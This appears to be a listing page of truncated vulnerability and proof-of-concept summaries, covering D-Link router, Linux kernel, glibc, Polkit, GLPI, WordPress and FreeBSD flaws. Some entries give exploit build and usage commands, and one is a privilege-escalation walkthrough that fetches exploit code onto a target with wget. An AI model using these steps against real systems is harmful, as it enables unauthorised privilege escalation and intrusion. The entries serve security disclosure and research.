CVE-2026-94036

D-Link DIR-X1860 and DIR-X1860Z routers (up to version 1.0.2.220120.165402) are affected by an improper access control flaw in the /ubus file of the routerd component. Manipulation of the passwd_set argument allows an attacker on the local network to bypass access controls, with no authentication...

CVE-2026-94036 D-Link DIR-X1860/DIR-X1860Z routerd ubus access control

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...

EUVD-2026-83752

A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwdset results in improper access controls. The attack must originate from...

CVE-2023-2598

CVE-2023-2598 参考： https://anatomic.rip/cve-2023-2598/ https://github.com/ysanatomic/iouringLPE-CVE-2023-2598 https://bsauce.github.io/2024/07/30/CVE-2023-2598/ 构建： root@kitploit: apt install -y liburing-dev gcc CVE-2023-2598.c -o CVE-2023-2598 -luring PoC： root@kitploit: user1@syzkaller:$ uname -...

CVE-2025-50675-GPMAW-Permissions

CVE-2025-50675 – GPMAW 14.2 中的不安全权限 摘要 CVE-2025-50675 影响由 Lighthouse Data 开发的生物信息学软件 GPMAW 14.2。安装程序会创建文件夹 C:\Program Files\gpmaw，并向 "Everyone"（所有人）组授予完全控制权限 ，从而允许任何本地用户修改该目录中的文件。 受影响的产品 产品： GPMAW 版本： 14.2 供应商： Lighthouse Data 供应商网站： https://www.gpmaw.com/html/downloads.html 漏洞类型 不安全权限...

CVE-2025-1738

CVE-2025-1738 - Trivision 摄像头 NC227WF PoC 📋 概述 在负责任披露之后，分配了两个官方 CVE。 CVE| CVSS v3.1| 分数| CWE| 类型 ---|---|---|---|--- CVE-2025-1738| AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N| 6.2| CWE-598| 明文密码暴露 🔍 CVE-2025-1738 — 明文密码暴露 CWE-598 描述 任何本地用户无需事先认证即可检索到明文形式的管理员密码。 攻击向量: 本地 AV:L CVSS 分数: 6.2 CWE: CWE-598...

CVE-2023-4911

CVE-2023-4911 使用 root@kitploit: docker build -t CVE-2023-4911 -f Dockerfile . docker run -it CVE-2023-4911 ./exp 参考 https://github.com/leesh3288/CVE-2023-4911 https://github.com/Green-Avocado/CVE-2023-4911...

OverlayFS-PrivEsc-CVE-2022-0944

CVE-2022-0944：OverlayFS 中的权限提升漏洞 🛡️ Linux 内核 OverlayFS 子系统权限提升漏洞的安全公告与缓解指南。 📜 概述 CVE-2022-0944 是 Linux 内核 OverlayFS 子系统中的一个安全漏洞，允许本地攻击者通过特定配置中对文件创建的不当处理来提升权限。 📌 技术细节 🚨 影响 本地攻击者可： 通过精心构造的文件操作获得 root 权限 绕过安全限制 修改敏感系统文件 破坏整个系统完整性 🔍 检测 1. 检查内核版本 root@kitploit: uname -r 受影响版本：5.8 = kernel 5.16.12 2. 验证...

CVE-2021-4034

Prueba de concepto Proof of Concept: CVE-2021-4034 PwnKit Nota: Este repositorio y su contenido forman parte de un Trabajo de Fin de Grado TFG, creado únicamente con fines didácticos y para la investigación académica. Descripción Este repositorio contiene una prueba de concepto PoC - Proof of...

Exploit-CVE-2025-24801

CVE-2025-24801 此漏洞利用程序使用CVE-2025-24801通过本地文件包含（LFI）在GLPI 10.0.17上实现远程代码执行（RCE）。该CVE的概念验证（PoC）提供了对此GLPI漏洞的解释。 观察 某些应用暴露了/glpi/端点（例如，http://172.16.11.130:8080/glpi/front/computer.form.php）。如果目标应用包含此端点，则需要将其添加到--url参数中（例如，--url http://172.16.11.130:8080/glpi）。 用法 使用示例。 root@kitploit: python3...

CVE-2024-23334-PoC

CVE-2024-23334-PoC 此仓库是 CVE-2024-23334 的概念验证（POC），演示了尝试复现 aiohttp 中导致本地文件包含（LFI）的漏洞。 !CAUTION 免责声明：此 POC 仅用于教育目的。请勿在真实场景中使用。 安装 1. 克隆仓库并设置环境。 root@kitploit: git clone https://github.com/Betan423/CVE-2024-23334-PoC cd CVE-2024-23334-PoC run in virtual environment python3 -m venv .env chmod +x...

CVE-2020-24089

CVE-2020-24089 Windows 权限提升 在 IOBit Malware Fighter 8.0.2 版本的 ImfHpRegFilter.sys 中发现了一个问题，允许本地攻击者造成拒绝服务（DoS）。 CVE 链接 - https://vulners.com/cve/CVE-2020-24089...

CVE-2015-4495

CVE-2015-4495 针对 CVE-2015-4495 / mfsa2015-78 的漏洞利用 如何使用 在 parsedirectorylisting 函数中添加你的逻辑。 用法 root@kitploit: $ git clone https://github.com/vincd/CVE-2015-4495.git $ cd CVE-2015-4495 $ python -m SimpleHTTPServer 然后打开一个未打补丁的 Firefox（版本 39.0.3）。应该会出现一个弹出窗口，显示 / 的内容。 致谢...

CVE-2018-7422

CVE-2018-7422 针对 CVE-2018-7422 的利用代码：WordPress 插件 Site Editor 1.1.1 中的本地文件包含漏洞 T1574.008 语法 root@kitploit: ruby 实验环境 OffSec Proving Grounds - Readys 用法...

CVE-2024-5633

PoC para CVE-2024-5633 Las cámaras Longse modelo LBH30FE200W, así como los productos basados en este dispositivo, proporcionan un acceso sin restricciones a un atacante situado en la misma red local a un servicio binario no documentado llamado CoolView en uno de los puertos. Un atacante con...

CVE-2024-12209

CVE-2024-12209 WP Umbrella: Update Backup Restore & Monitoring = 2.17.0 - 未认证的本地文件包含 描述 WP Umbrella: Update Backup Restore & Monitoring WordPress 插件在 2.17.0 及之前的所有版本中，通过 'umbrella-restore' 操作的 'filename' 参数存在本地文件包含漏洞。这使得未认证攻击者能够在服务器上包含并执行任意文件，从而执行这些文件中的任何 PHP...

CVE-2024-27674

CVE-2024-27674 Macro Expert icacls "C:\Program Files x86\GrassSoft\Macro Expert" C:\Program Files x86\GrassSoft\Macro Expert BUILTIN\Users:OICIM NT SERVICE\TrustedInstaller:IF NT SERVICE\TrustedInstaller:ICIIOF NT AUTHORITY\SYSTEM:IF NT AUTHORITY\SYSTEM:IOICIIOF BUILTIN\Administrators:IF...

FreeBSD-9.0-9.1-Privilege-Escalation

FreeBSD-9.0-9.1 - 权限提升 CVE-2013-2171 作者：[email protected] 如何利用！ 1° 检查内核版本 root@kitploit: uname -a FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE 0: Tue Jan 3 07:46:30 UTC 2012 2° 将此文件传输到目标 root@kitploit: 攻击者机器 - python3 -m http.server 8080 目标机器 - wget IP:8080/26368.c 3° 使用 GCC 编译代码 gcc...

cve-2021-4034

CVE-2021-4034 - PwnKit（Polkit 本地权限提升） 概述 本仓库包含 CVE-2021-4034 （即 PwnKit）的概念验证代码。仅用于个人学习和教育目的 。请仅在您拥有或明确授权测试的环境中使用。 依赖项 要构建该利用程序，您需要： gcc make nasm ld xxd 描述 pkexec 是 Polkit 的一个实用程序，允许授权用户以另一用户身份执行程序（通常具有管理权限），类似于 sudo。CVE-2021-4034 是一个影响该二进制文件的内存损坏漏洞。问题源于当 argc == 0...

CVE-2024-55968

CVE-2024-55968 DTEX LPE CVE-2024-55968 的漏洞验证代码 受影响产品： DEC-M DTEX Forwarder 版本 6.1.1。DTEX 是一个统一的内鬼风险管控平台。 受影响组件： DEC-M EventReportingService XPC Helper 攻击向量： DTEX 事件报告服务被发现包含一个未实现验证机制的权限提升 XPC Helper。恶意行为者可以利用这一逻辑漏洞，通过未经授权的 XPC 连接滥用 DTConnectionHelperProtocol 协议的 submitQuery 方法，在 macOS 上本地提升用户权限。 ...